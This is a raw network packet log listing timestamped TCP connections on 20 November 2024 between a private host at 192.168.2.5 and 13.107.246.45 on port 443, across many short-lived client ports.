Nov 20, 2024 06:40:36.179095030 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.179106951 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.179456949 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.179471016 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.179471970 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.179486036 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.179853916 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.179857969 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.180066109 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.180067062 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.180073977 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.180078030 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.180408955 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.180413008 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.180541992 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.180552959 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.180988073 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.180991888 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.277955055 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.278157949 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.278316975 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.278534889 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.278544903 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.278558969 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.278563976 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.281263113 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.281342983 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.281462908 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.281516075 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.282073975 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.282118082 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.282197952 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.282272100 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.282285929 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.282295942 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.282300949 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.282651901 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.282654047 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.282696009 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.282951117 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.282977104 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.283096075 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.283158064 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.283253908 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.283253908 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.283293009 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.283334970 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.283663034 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.283711910 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.284142017 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.284158945 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.284173012 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.284178019 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.287724972 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.287744999 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.287796021 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.288086891 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.288099051 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.289410114 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.289442062 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.289514065 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.289983988 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.290009022 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.290894032 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.290901899 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.290956020 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.291131973 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.291141987 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.293836117 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.294073105 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.294441938 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.294507027 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.294514894 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.294524908 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.294528961 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.297075033 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.297144890 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.297207117 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.297321081 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.297368050 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.923377991 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.924211025 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.924247980 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.924726009 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.924731970 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.925389051 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.925836086 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.925865889 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.926269054 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.926278114 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.958863974 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.959307909 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.959328890 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.959814072 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.959820032 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.961936951 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.962297916 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.962377071 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.962847948 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.962863922 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.971548080 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.972038031 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.972064018 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.972954988 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.972964048 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.022492886 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.022737026 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.022794008 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.022839069 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.022861004 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.022872925 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.022878885 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.025842905 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.026047945 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.026106119 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.026364088 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.026376009 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.026392937 CET	49872	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.026396990 CET	443	49872	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.027662039 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.027718067 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.028063059 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.030025005 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.030055046 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.035465956 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.035480976 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.035537004 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.036031008 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.036042929 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064040899 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064189911 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064250946 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064311981 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.064510107 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.064510107 CET	49876	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.064552069 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064579010 CET	443	49876	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064589977 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064640045 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.064656019 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064677000 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.064728975 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.066462040 CET	49875	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.066469908 CET	443	49875	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.069854021 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.069890976 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.070019960 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.070524931 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.070553064 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.071296930 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.071317911 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.071372986 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.071499109 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.071511984 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.075495005 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.075728893 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.075774908 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.080296040 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.080311060 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.080323935 CET	49874	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.080328941 CET	443	49874	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.084815025 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.084839106 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.084908009 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.085432053 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.085450888 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.672094107 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.673118114 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.673134089 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.673363924 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.673799038 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.673804998 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.674391031 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.674427986 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.675261974 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.675276041 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.708700895 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.724847078 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.727072001 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.740472078 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.740502119 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.740912914 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.740919113 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.742757082 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.742784977 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.743398905 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.743406057 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.743872881 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.743913889 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.744534016 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.744545937 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.773073912 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.773535967 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.773607016 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.774208069 CET	49885	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.774219036 CET	443	49885	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.775208950 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.775433064 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.775511980 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.775516987 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.775602102 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.775784016 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.775810003 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.775846958 CET	49884	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.775863886 CET	443	49884	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.778428078 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.778475046 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.778599977 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.782557011 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.782571077 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.783221006 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.783232927 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.783301115 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.783597946 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.783612013 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.844414949 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.844532013 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.844578028 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.844705105 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.845208883 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.845268011 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.845283985 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.845329046 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.845391035 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.847014904 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.847014904 CET	49887	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.847026110 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.847035885 CET	443	49887	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.847134113 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.847151995 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.847166061 CET	49888	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.847171068 CET	443	49888	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.848371983 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.848539114 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.848597050 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.851577997 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.851577997 CET	49886	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.851619005 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.851645947 CET	443	49886	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.852804899 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.852866888 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.853478909 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.854993105 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.855045080 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.855112076 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.860788107 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.860821009 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.861150026 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.861186028 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.863687038 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.863704920 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:37.863774061 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.864125967 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:37.864139080 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.637587070 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.644311905 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.645749092 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.648494959 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.652887106 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.686321974 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.702320099 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.705430984 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.843336105 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.843421936 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.859369040 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.862165928 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.938961983 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.938981056 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.939420938 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.939431906 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.939646006 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.939686060 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.940006971 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.940025091 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.940221071 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.940246105 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.940623045 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.940634012 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.940843105 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.940860987 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.941179991 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.941185951 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.941400051 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.941421032 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:38.951297998 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:38.951308012 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.050832033 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.050885916 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.050968885 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.050993919 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051019907 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051080942 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.051119089 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051120043 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051278114 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051386118 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051438093 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.051441908 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.051559925 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051702023 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.051755905 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.059173107 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.059475899 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.059535980 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.154767990 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.154805899 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.154834032 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.154854059 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.157759905 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.157759905 CET	49894	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.157809973 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.157835960 CET	443	49894	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.159193993 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.159213066 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.159236908 CET	49892	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.159250975 CET	443	49892	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.160723925 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.160723925 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.160737038 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.160749912 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.161974907 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.161976099 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.161994934 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.162007093 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.178879976 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.178915977 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.178972006 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.187064886 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.187082052 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.242523909 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.242577076 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.242655993 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.243772984 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.243814945 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.243871927 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.245219946 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.245240927 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.245300055 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.247565031 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.247648954 CET	443	49909	13.107.246.45	192.168.2.5
